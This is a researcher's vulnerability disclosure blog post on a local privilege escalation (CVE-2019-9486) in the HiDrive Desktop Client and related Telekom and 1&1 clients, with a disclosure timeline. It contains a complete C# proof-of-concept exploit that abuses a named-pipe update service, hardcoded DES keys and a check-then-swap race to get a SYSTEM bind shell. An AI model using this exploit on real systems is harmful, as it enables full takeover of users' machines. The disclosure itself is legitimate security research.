This blog post describes a security vulnerability found in the product HiDrive Desktop Client. HiDrive is the cloud storage solution of Berlin-based Strato, an internet hosting service. The HiDrive Desktop Client for Windows allows a customer to sync files and folders easily to the provided cloud solution. The core components of the HiDrive client is also used by other internet and cloud providers such as Telekom and 1&1.
Introduction
During some personal research at the beginning of February, a critical vulnerability in HiDrive was discovered. This vulnerability allows a low-privileged user to escalate privileges to SYSTEM-level. The vulnerability is due to the insecure implementation of inter-process communications (IPC), which allows a low-privilege user to inject and execute code by hijacking the insecure communications with a vulnerable .NET service. The affected .NET service is running with SYSTEM-level privileges. As a result, the injected code is run at the SYSTEM-level, bypassing privilege restrictions and allowing the user to gain full control of the system.
Local Privilege Escalation
The HiDrive Desktop Client suffers from a privilege escalation vulnerability through the automatic update services. The purpose of the service is to check whether there is a new version available on the update-servers and initiated an update if a new version is there. Which means, if an attacker is able to inject code into the service, the injected code will also run with the same permission as the service. In this case, the affected .NET service HiDriveMaintenanceService is configured to run with LocalSystem privileges, as seen in the screenshot below:
After the Windows service is started, which happens automatically on every boot, the “MaintenanceService.exe” runs with SYSTEM-level privileges. As seen in the screenshot below:
This service establishes a NetNamedPipe endpoint that allows arbitrary installed applications to connect and call publicly exposed methods. The main functionality is implemented as “Factory Method Design Pattern” and allows to define different “Service”-profiles/settings. In this case, the profiles are used to define information such as “AppName”, “UpdateConfigUrls”, “PipeName” and “PipeUri”. During the analysis following profiles are defined for other 3rd parties:
- EinsUndEinsUpdaterSetting
- HiDriveUpdaterSettings
- IonosUpdaterSettingsMaintenanceServiceName
- MagentaCloudUpdaterSettings
- TelekomAustriaUpdaterSettings
The exposed NetNamedPipe deliver the RunMaintenanceServiceSelfUpdate
method. The purpose of this method is to update the running service itself.
The RunMaintenanceServiceSelfUpdate
method accepts an “exe” file as an
argument that provides attacker control of the installed service. An attacker
would able to change the original service with a malicious service and run
arbitrary commands with SYSTEM-level privileges.
Interacting with the Service
The HiDriveServiceHostController class deliver an Initialize
functions,
as seen below. Windows Communication Foundation (WCF) services can operate
over a variety of transport protocols; if HTTP or TCP protocols are
used, it may be possible to exploit the service remotely. In this case, the
service uses named-pipes, so local privilege escalation is possible.
public override void Initialize()
{
this.ServiceHost = this._serviceHostFactory.New(typeof(HiDriveUpdateServiceExecuter), new Uri[]
{
this._updaterSettings.PipeUri
});
this.ServiceHost.AddServiceEndpoint(typeof(IUpdateServiceExecuter), new NetNamedPipeBinding(), this._updaterSettings.PipeName);
}
The purpose of this function is to bind a “ServiceContract” to the NetNamedPipe. The needed information such as “PipeUri” and “PipeName” can be found in the “UpdaterSettings” classes. For example, for the “HiDrive Desktop client”:
- ServiceName: HiDriveMaintenanceService;
- PipeName: updateserviceexecuter;
- PipeUri: net.pipe://localhost/<ServiceName>/<PipeName>;
[ServiceContract(SessionMode = SessionMode.Required, CallbackContract = typeof(IUpdaterCallback))]
public interface IUpdateServiceExecuter
{
[...]
[OperationContract]
void RunMaintenanceServiceSelfUpdate(string maintenanceServiceFile);
}
The ServiceContract
exposed more than this one method but this one looks
like a good candidate. This ServiceContract
can be accessed via a
DuplexChannelFactory
, for example:
DuplexChannelFactory<IUpdateServiceExecuter> dCF = new DuplexChannelFactory<IUpdateServiceExecuter>(
new InstanceContext(new UpdaterCallback()),
new NetNamedPipeBinding(),
new EndpointAddress(uri)
);
Bypassing Encrypted Path
During the analysis of the RunMaintenanceServiceSelfUpdate
method, it
was discovered that the argument of the method has to be encrypted. The given
parameter must be encrypted with the Data Encryption Standard (DES); the
functionality is implemented with a static initialization vector (IV) and a
static encryption key and is hardcoded as seen in the listing below:
public string Encrypt(string text)
{
ICryptoTransform cryptoTransform = DES.Create().CreateEncryptor(PipeMessageCrypter.key, PipeMessageCrypter.iv);
byte[] bytes = Encoding.Unicode.GetBytes(text);
return Convert.ToBase64String(cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length));
}
[...]
private static byte[] key = new byte[]
{
121, 62, 31, 4, 15, 68, 47, 118
};
private static byte[] iv = new byte[]
{
41, 92, 12, 69, 83, 45, 11, 23
};
I’m not quite sure what’s the purpose of this “obfuscation” technique should be. Because the function is already implemented in the service and allows an attacker easily to rebuild the functionality and encrypted the necessary parameter as appropriate. The usage of this approach only gives the feel of secure because the given parameter, which saved in the log file as well, seems to be unpredictable or only with a lot of effort.
Bypassing Code Signing and Hashing
For security reason and integrity checks, the RunMaintenanceServiceSelfUpdate
method checked if the given “exe” file is valid and trusted. For this purpose,
the updated file must be signed with a valid X509 certificate. In the first
step, the given argument is checked via the Validate
method [1]:
public bool Validate(string path)
{
bool result;
try
{
IX509Certificate certificate = this._x509CertificateFactory.CreateFromSignedFile(path);
IX509Certificate2 ix509Certificate = this._x509Certificate2Factory.New(certificate);
result = (this._x509ChainFactory.New().Build(ix509Certificate) && this._signatureSubjectValidator.Validate(ix509Certificate.Subject()));
}
catch (Exception)
{
result = false;
}
return result;
}
If the “exe” file is signed with a trusted Certificate authority (CA) and
the subject of the created file matched with the Common Name (CN) entry of
the certificate, which is defined in the “UpdaterSettings” classes (as
mentioned above), the function returns with the value true
. In the next
steps, the service establishes a connection to the update-server to read values
from the “updateConfig.xml” [2]; this file contains information about the
updated service as well as hash values to verify that the downloaded update is
correctly downloaded and not corrupted. After the object updateConfig
is not
null
, the hash value inside the XML was used to check if the given
“exe” file is the same as the hosted new update file (the
“MaintenanceService.exe”) [3].
if (!this._signatureValidator.Validate(text)) // [1]
{
[...]
return;
}
[...]
try
{
UpdateConfig updateConfig = this._downloader.DownloadUpdateConfig(); // [2]
if (updateConfig == null)
{
[...]
}
else
{
if (!this._hasher.Verify(text, updateConfig.MaintenanceServiceUpdateConfigPayload.Hash)) // [3]
{
[...]
}
else
{
try
{
this._batchFileService.CreateAndExecuteBatchFile(text); // [4]
}
catch (Exception ex)
{
[...]
}
}
}
}
catch (DownloadException ex2)
{
[...]
}
If every check is positive to this point, the CreateAndExecuteBatchFile
method will be executed with the given “exe” file [4]. The used
CreateAndExecuteBatchFile
method will create a “bat” file, this bat file
will stop the current service [5], replace the updated new file with the old
one [6] and start the service again [7].
public void CreateAndExecuteBatchFile(string maintenanceServiceFileName)
{
[...]
using (IStreamWriter streamWriter = this._streamWriterFactory.New(text2, false, encoding))
{
streamWriter.WriteLine("chcp 65001");
this._logger.Info("chcp 65001", null);
string text3 = string.Format("net stop {0}", this._maintenanceServiceConstants.ServiceName); // [5]
streamWriter.WriteLine(text3);
string text4 = string.Format("move /Y \"{0}\" \"{1}\"", maintenanceServiceFileName, arg); // [6]
streamWriter.WriteLine(text4);
string text5 = string.Format("net start {0}", this._maintenanceServiceConstants.ServiceName); // [7]
streamWriter.WriteLine(text5);
string text6 = string.Format("del \"{0}\"", text2);
streamWriter.WriteLine(text6);
}
ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe")
{
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = false;
Arguments = string.Format("/U /C \"{0}\"", text2)
};
this._processFactory.Start(startInfo);
}
The whole validation checks ([1], [2], [3]) can be bypass by an
attacker if the given argument to the RunMaintenanceServiceSelfUpdate
method
is a valid file, which is available and located on the update-server. By replacing
the original (and valid) file before the “bat” script replaces the given
updated file with the old one [6], it is possible to bypass the validation
checks. This attack is also known as Time-of-check Time-of-use (TOCTOU).
A successful attack chain could looks like:
- Download a valid update file;
- Trigger the
RunMaintenanceServiceSelfUpdate
method with the download file as argument; - Let the
Validate
method checking the given file;
- The file is valid and all checks will pass;
- Replace the given file, which is used as argument for the
RunMaintenanceServiceSelfUpdate
method, with a malicous file; - The “bat” file will move the malicious file to the install path [6] and overwrite the old “MaintenanceService.exe”; After that, the service will start again;
- At this point, an attacker has full access to the running System;
Proof-of-Concept (PoC)
The following example details a proof of concept C# code that can be used to connect to the exposed NetNamedPipe and trigger an update and exploit the vulnerable service. As a result, it was possible to execute code in the context of the SYSTEM user. The injected malicious service will bind a “cmd.exe” on “127.0.0.1:31415”.
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Threading;
using System.Net.Sockets;
using System.ServiceModel;
using System.Security.Cryptography;
namespace PoC
{
[ServiceContract(SessionMode = SessionMode.Required, CallbackContract = typeof(IUpdaterCallback))]
public interface IUpdateServiceExecuter
{
[OperationContract]
void RunMaintenanceServiceSelfUpdate(string maintenanceServiceFile);
}
public interface IUpdaterCallback
{
[OperationContract(IsOneWay = true)]
void AppUpdateCallback(UpdaterStatusCode statusCode);
[OperationContract(IsOneWay = true)]
void UpdaterUpdateCallback(UpdaterStatusCode statusCode);
[OperationContract(IsOneWay = true)]
void MaintenanceServiceServiceUpdateCallback(UpdaterStatusCode statusCode);
}
public enum UpdaterStatusCode
{
InvalidHash,
InvalidSignature,
InvalidUpdateConfig,
SetupError,
SetupTimeout,
Success,
UpdateConfigDownloadError
}
class Program
{
public class UpdaterCallback : IUpdaterCallback
{
public void AppUpdateCallback(UpdaterStatusCode statusCode)
{
throw new NotImplementedException();
}
public void MaintenanceServiceServiceUpdateCallback(UpdaterStatusCode statusCode)
{
throw new NotImplementedException();
}
public void UpdaterUpdateCallback(UpdaterStatusCode statusCode)
{
throw new NotImplementedException();
}
}
public static string Encrypt(string text)
{
ICryptoTransform cryptoTransform = DES.Create().CreateEncryptor(key, iv);
byte[] bytes = Encoding.Unicode.GetBytes(text);
return Convert.ToBase64String(cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length));
}
private static byte[] key = new byte[]
{
121, 62, 31, 4, 15, 68, 47, 118
};
private static byte[] iv = new byte[]
{
41, 92, 12, 69, 83, 45, 11, 23
};
public static bool downloadFile(string url, string path)
{
bool result;
try
{
using (var client = new WebClient())
{
result = true;
client.DownloadFile(url, path);
}
} catch (Exception ex)
{
result = false;
}
return result;
}
public static bool copyFile(string src, string dest)
{
bool result;
try
{
result = true;
File.Copy(src, dest, true);
}
catch (FileNotFoundException e)
{
Console.WriteLine(e);
result = false;
}
return result;
}
public static bool connectToBindShell(string addr, int port)
{
bool result;
try
{
TcpClient tcpClient = new TcpClient();
tcpClient.Connect(addr, port);
NetworkStream tcpStream = tcpClient.GetStream();
result = true;
while (tcpClient.Connected)
{
Thread.Sleep(100);
for (int i = tcpClient.Available; i > 0; Thread.Sleep(100), i = tcpClient.Available)
{
byte[] in_buf = new byte[i];
tcpStream.Read(in_buf, 0, i);
Console.Write(Encoding.UTF8.GetString(in_buf, 0, in_buf.Length));
}
byte[] out_buf = new byte[257];
out_buf = new ASCIIEncoding().GetBytes(Console.ReadLine() + "\n");
try
{
tcpStream.Write(out_buf, 0, out_buf.Length);
}
catch (IOException ex)
{
break;
}
}
tcpClient.Close();
} catch (SocketException e)
{
connectToBindShell(addr, port);
result = false;
}
return result;
}
static void Main(string[] args)
{
try
{
Console.WriteLine("### HiDrive LPE PoC by dhn ###\n");
string url = "https://static.hidrive.com/windows/update/live/MaintenanceService.exe";
string uri = "net.pipe://localhost/HiDriveMaintenanceService/updateserviceexecuter";
string path = Directory.GetCurrentDirectory();
string bad_file = "payload\\Payload.exe";
string good_file = "original\\MaintenanceService.exe";
if (downloadFile(url, Path.Combine(path, good_file)))
{
Console.WriteLine("[+] Dowload new \"MaintenanceService.exe\" ...");
} else
{
Console.WriteLine("[!] Download failed...");
return;
}
DuplexChannelFactory<IUpdateServiceExecuter> dCF = new DuplexChannelFactory<IUpdateServiceExecuter>(
new InstanceContext(new UpdaterCallback()),
new NetNamedPipeBinding(),
new EndpointAddress(uri)
);
Console.WriteLine("[+] Building \"IUpdateServiceExecuter\" Client...");
IUpdateServiceExecuter client = dCF.CreateChannel();
try
{
Console.WriteLine("[+] Sending \"ServiceSelfUpdate\" Request...");
client.RunMaintenanceServiceSelfUpdate(Encrypt(Path.Combine(path, good_file)));
} catch (Exception ex) {
Console.WriteLine("[!] Failed to start a self update...");
return;
}
Console.WriteLine("[+] Replace the original Service...");
if (copyFile(Path.Combine(path, bad_file), Path.Combine(path, good_file)))
{
Console.WriteLine("[+] Connecting to SYSTEM \"bind\" shell...\n");
if (!connectToBindShell("127.0.0.1", 31415))
{
Console.WriteLine("[!] Failed to connect to the \"bind\" shell");
}
} else
{
Console.WriteLine("[+] Failed to replace the original Service...");
return;
}
}
catch (Exception e)
{
Console.WriteLine(e);
}
}
}
}
If all compiled as expected and everything was correct and accepted by the service, an attacker could execute arbitrary code within the privileges of the SYSTEM user, as seen in the screenshot below.
Affected Products
This vulnerability affects the following products:
- Strato HiDrive <= 5.0.1.0
- Telekom MagentaCLOUD <= 5.7.0.0
- 1&1 Online Storage <= 6.1.0.0
It is very likely that prior and subsequent versions of products that use the “HiDrive” core engine are also affected by the vulnerability.
Timeline
- 2019/02/21: First contact via Twitter (@STRATO_hilft); ask for security point of contact
- 2019/02/22: Sent email to “abuse@strato.de” to negotiate a security channel
- 2019/02/26: New try to get in contact via Twitter (@STRATO_AG)
- 2019/02/28: Request a CVE id via MITRE; CVE-2019-9486
- 2019/03/01: Sent email to Strato, Telekom and 1&1;
- 2019/03/01: Vulnerability initially reported to 1&1 Security
- 2019/03/05: Short update about the first remediation
- 2019/04/08: Received confirmation that a patch is being released
The 1&1 Security team was really responsive and cooperative. After several initial difficulties to get in contact with the Strato team I have decided to write the Telekom and 1&1 as well because they are was also affected by this vulnerability. Suddenly, Strato was able to get in contact with me to negotiate a secure channel where I can submit my report about the vulnerability. However, the 1&1 team was so very kind to get in contact with the right and appropriate persons to discuss the vulnerability and fix the issue. So a special thanks go to the 1&1 team which did a great job. I would work with them again should the opportunity arise.